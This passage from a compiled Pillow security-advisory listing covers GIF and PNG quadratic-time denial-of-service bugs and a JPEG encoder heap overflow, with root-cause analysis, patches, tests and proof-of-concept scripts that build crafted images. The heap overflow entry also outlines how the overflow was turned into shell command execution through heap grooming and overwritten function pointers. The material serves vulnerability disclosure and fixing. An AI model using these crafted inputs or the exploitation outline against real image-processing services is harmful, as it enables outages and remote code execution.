String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58](https://github.com/python-pillow/Pillow/security/advisories/GHSA-f2g6-542v-9j58) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112406](https://nvd.nist.gov/vuln/detail/CVE-2026-112406) - [https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777](https://github.com/python-pillow/Pillow/commit/b3ebf20c694f2f12537a629c30229a1d5a53f777) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-f2g6-542v-9j58) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Quadratic GIF comment copying during save BIT-pillow-2026-112891 / [CVE-2026-112891](https://nvd.nist.gov/vuln/detail/CVE-2026-112891) / [GHSA-fc9g-5qg7-mf45](https://github.com/advisories/GHSA-fc9g-5qg7-mf45) <details> <summary>More information</summary> #### Details On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits. #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-fc9g-5qg7-mf45](https://github.com/python-pillow/Pillow/security/advisories/GHSA-fc9g-5qg7-mf45) - [https://nvd.nist.gov/vuln/detail/CVE-2026-112891](https://nvd.nist.gov/vuln/detail/CVE-2026-112891) - [https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e](https://github.com/python-pillow/Pillow/commit/68a3fe957d8a4d552e8c69d96066d749f0614c7e) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fc9g-5qg7-mf45) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time BIT-pillow-2026-96643 / [CVE-2026-96643](https://nvd.nist.gov/vuln/detail/CVE-2026-96643) / [GHSA-g4qv-2jxx-769h](https://github.com/advisories/GHSA-g4qv-2jxx-769h) / PYSEC-2026-4342 <details> <summary>More information</summary> #### Details ##### Summary A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay. ### Details `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this: ```python while data and data.startswith(b"Exif\x00\x00"): data = data[6:] ``` Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem. `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info["exif"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap. If the eXIf chunk is filled with repeated `Exif\x00\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug. ### Steps to reproduce This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed. ```python import time from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) # 1.8MB, all markers data = MAGIC + IHDR + exif_chunk + IDAT + IEND start = time.time() with Image.open(BytesIO(data)) as im: im.getexif() print("took", time.time() - start, "seconds") ``` Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size. Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear. A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`. ```python import pytest from io import BytesIO from PIL import Image, PngImagePlugin def chunk(cid, *data): fp = BytesIO() PngImagePlugin.putchunk(fp, cid, *data) return fp.getvalue() MAGIC = PngImagePlugin._MAGIC IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0") IDAT = chunk(b"IDAT") IEND = chunk(b"IEND") @pytest.mark.timeout(2) def test_exif_load_is_not_quadratic(): marker = b"Exif\x00\x00" exif_chunk = chunk(b"eXIf", marker * 300_000) data = MAGIC + IHDR + exif_chunk + IDAT + IEND with Image.open(BytesIO(data)) as im: im.getexif() ``` ### Impact - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear. - Confidentiality: none. - Integrity: none. - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h](https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96643](https://nvd.nist.gov/vuln/detail/CVE-2026-96643) - [https://github.com/python-pillow/Pillow/pull/10073](https://github.com/python-pillow/Pillow/pull/10073) - [https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c](https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g4qv-2jxx-769h) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer BIT-pillow-2026-96778 / [CVE-2026-96778](https://nvd.nist.gov/vuln/detail/CVE-2026-96778) / [GHSA-g7cr-3p24-7wf7](https://github.com/advisories/GHSA-g7cr-3p24-7wf7) <details> <summary>More information</summary> #### Details ``` ============================================================================ Heap buffer overflow writing JPEG comment after ICC profile fills buffer Location: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash. The bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds. Triggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., "JPEG", icc_profile=im.info.get("icc_profile"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved. The attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation. The unguarded call was introduced in e50ae85ea406 ("Use jpeg_write_marker to write comment", 2022-12-05) and first shipped in 9.4.0. ##### Details `ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the "extra" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the "buffer full" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`. A JPEG laid out as ``` FFD8 SOI FFE2 <len> "ICC_PROFILE\0" 01 01 <65498 bytes> -> im.info["icc_profile"] FFFE <len> <comment, any length 1..65533> -> im.info["comment"] <any baseline RGB JPEG body> ``` opened with `Image.open()` and re-saved with the usual colour-profile-preserving call ```python im.save(out, "JPEG", icc_profile=im.info.get("icc_profile")) ``` kills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata. ##### Code path The buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment: ```python ##### src/PIL/JpegImagePlugin.py:859-862 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. # Ensure that our buffer is big enough. Same with the icc_profile block. bufsize = max(len(exif) + 5, len(extra) + 1) ``` `ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image). The "+1 spare byte" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining: ```c // src/libImaging/JpegEncode.c:302-337 case 3: if (context->extra) { unsigned int n = context->extra_size - context->extra_offset; if (n > context->destination.pub.free_in_buffer) { n = context->destination.pub.free_in_buffer; } memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n); context->destination.pub.next_output_byte += n; context->destination.pub.free_in_buffer -= n; context->extra_offset += n; if (context->extra_offset >= context->extra_size) { state->state++; // done -> fall into case 4, even with free_in_buffer == 0 } else { break; } } … case 4: if (context->comment) { jpeg_write_marker(&context->cinfo, JPEG_COM, (unsigned char *)context->comment, context->comment_size); // :330 — no space check } state->state++; case 5: if (1024 > context->destination.pub.free_in_buffer) { // passes: free_in_buffer is now ~2^64 break; } … jpeg_write_scanlines(…) … ``` Every other emitting state is guarded — state 2 requires `rawExifLen + 5 <= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded `jpeg_write_marker()` call was introduced in `e50ae85ea406` ("Use jpeg_write_marker to write comment", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly. With 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is ```c /* jcmarker.c */ *(dest->next_output_byte)++ = (JOCTET)val; if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); } ``` i.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (≈167000) as the byte count and `_encode()` calls `_PyBytes_Resize(&buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk. All three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info["icc_profile"]` (`:238-241`) and stores the COM payload in `im.info["comment"]` (`:194`); `_save()` forwards the comment on its own — `comment = info.get("comment", im.info.get("comment"))` (`:808`) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info["icc_profile"]` and a `tEXt` chunk keyed `comment` becomes `im.info["comment"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open → thumbnail → convert("RGB") → save("JPEG", icc_profile=…)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `"Created with GIMP"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker. ##### What lies behind the buffer The buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (`cinfo->main->process_data`) read from bytes the file supplied. ##### Impact Any service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get("icc_profile")` — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves. It does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards — is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context->comment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds. ##### Reproducing `repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`. The script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic. Each file goes through the same application code in a child `python3 -X faulthandler` process: ```python im = Image.open(BytesIO(data)) im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"]) ``` 1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless. 2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info["comment"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer. Expected output: the control prints `save returned normally` and `-> exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-> exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`. ##### Suggested fix The attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer: ```diff --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( ``` The encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer — with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b""`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass. The C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError("Comment is too long")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` → `OSError`. Independently, the "+ 1 spare byte" / "+ 5" reasoning in `_save()` under-counts by the 18–20 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting. ##### The patch Check free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save Applies to `src/libImaging/JpegEncode.c` at the commit above. ```diff diff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py index b361aef2e..f884883c4 100644 --- a/Tests/test_file_jpeg.py +++ b/Tests/test_file_jpeg.py @@ -227,6 +227,16 @@ class TestFileJpeg: im1 = self.roundtrip(hopper(), icc_profile=icc_profile) assert im1.info.get("icc_profile") == (icc_profile or None) + def test_icc_big_comment(self) -> None: + # The ICC profile may fill the encoder buffer exactly, in which case the + # comment has to be written to the next buffer + comment = b"C" * 65533 + for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30): + icc_profile = b"I" * n + im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment) + assert im.info["icc_profile"] == icc_profile + assert im.info["comment"] == comment + def test_large_icc_meta(self, tmp_path: Path) -> None: # https://github.com/python-pillow/Pillow/issues/148 # Sometimes the meta data on the icc_profile block is bigger than diff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py index 4b8d34ca3..1d9f4c2fa 100644 --- a/src/PIL/JpegImagePlugin.py +++ b/src/PIL/JpegImagePlugin.py @@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: ) i += 1 - comment = info.get("comment", im.info.get("comment")) + comment = info.get("comment", im.info.get("comment")) or b"" + if isinstance(comment, str): + comment = comment.encode() # "progressive" is the official name, but older documentation # says "progression" @@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None: bufsize += len(exif) + 5 if extra: bufsize += len(extra) + 1 + if comment: + bufsize += len(comment) + 5 else: # The EXIF info needs to be written as one block, + APP1, + one spare byte. - # Ensure that our buffer is big enough. Same with the icc_profile block. - bufsize = max(len(exif) + 5, len(extra) + 1) + # Ensure that our buffer is big enough. Same with the icc_profile block + # and the comment (COM marker). + bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5) ImageFile._save( im, fp, [ImageFile._Tile("jpeg", (0, 0, *im.size), 0, rawmode)], bufsize diff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c index 098e431fc..b6771c6ec 100644 --- a/src/libImaging/JpegEncode.c +++ b/src/libImaging/JpegEncode.c @@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) { case 4: if (context->comment) { + // check for comment len + 'COM' header bytes + if (context->comment_size + 5 > + context->destination.pub.free_in_buffer) { + break; + } jpeg_write_marker( &context->cinfo, JPEG_COM, ``` ##### The reproducer <details> <summary>Reproducer — <code>repro</code>, 3,343 bytes (click to open)</summary> Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 ##### Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4). # ##### Re-saving a JPEG with its own ICC profile, the usual "keep the colours" re-encode: ##### im = Image.open(f); im.save(out, "JPEG", icc_profile=im.info["icc_profile"]) ##### If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM ##### marker (forwarded from im.info["comment"] automatically) is written with ##### free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which ##### wraps to ~2^64, and the comment plus the whole compressed image go past the end ##### of the heap buffer. The Python process dies with SIGSEGV or a glibc abort. # ##### Runs against the stock build in /src, no rebuild. Takes about 2 seconds. import random import struct import subprocess import sys from io import BytesIO from PIL import Image ##### Output-buffer layout at the moment the COM marker is written: ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK; _save() never makes it bigger here JFIF_HEADER = 20 # SOI + JFIF APP0, written by jpeg_start_compress() ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count> ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498: exact fit COMMENT = b"C" * 65533 # largest legal COM; content and length chosen by the file ##### What the victim application does with an uploaded file, run in a child process ##### so that we can see it die. RESAVE = """ import sys from io import BytesIO from PIL import Image im = Image.open(BytesIO(sys.stdin.buffer.read())) im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"]) print("save returned normally") """ def segment(marker, payload): return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload def make_jpeg(with_comment): """A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.""" noise = random.Random(1234).randbytes(256 * 256 * 3) # ~100 KB of image data out = BytesIO() Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95) plain = out.getvalue() icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD) com = segment(0xFE, COMMENT) if with_comment else b"" return plain[:2] + icc + com + plain[2:] # splice in right after SOI def resave(jpeg): # -X faulthandler: on a fatal signal, print where in Python the child died cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE] r = subprocess.run(cmd, input=jpeg, capture_output=True) print((r.stdout + r.stderr).decode(errors="replace").strip()) print(f"-> exit status {r.returncode}") return r.returncode ##### Control: the same file without a COM segment re-saves fine, so the buffer ##### sizing and the ICC profile on their own are harmless. print("Control: re-save the JPEG without a comment") resave(make_jpeg(with_comment=False)) ##### The bug: add a COM segment. The comment is now written into a buffer that has ##### no room left. print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment") rc = resave(make_jpeg(with_comment=True)) ##### A negative return code means the child was killed by a signal (SIGSEGV or ##### SIGABRT from glibc's heap checks), not by a Python exception. if rc < 0: print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write") print("BUG") else: print("OK") ``` </details> --- #### Severity - CVSS Score: 7.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7](https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-96778](https://nvd.nist.gov/vuln/detail/CVE-2026-96778) - [https://github.com/python-pillow/Pillow/pull/10124](https://github.com/python-pillow/Pillow/pull/10124) - [https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b](https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b) - [https://github.com/python-pillow/Pillow](https://github.com/python-pillow/Pillow) - [https://github.com/python-pillow/Pillow/releases/tag/13.0.0](https://github.com/python-pillow/Pillow/releases/tag/13.0.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g7cr-3p24-7wf7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads 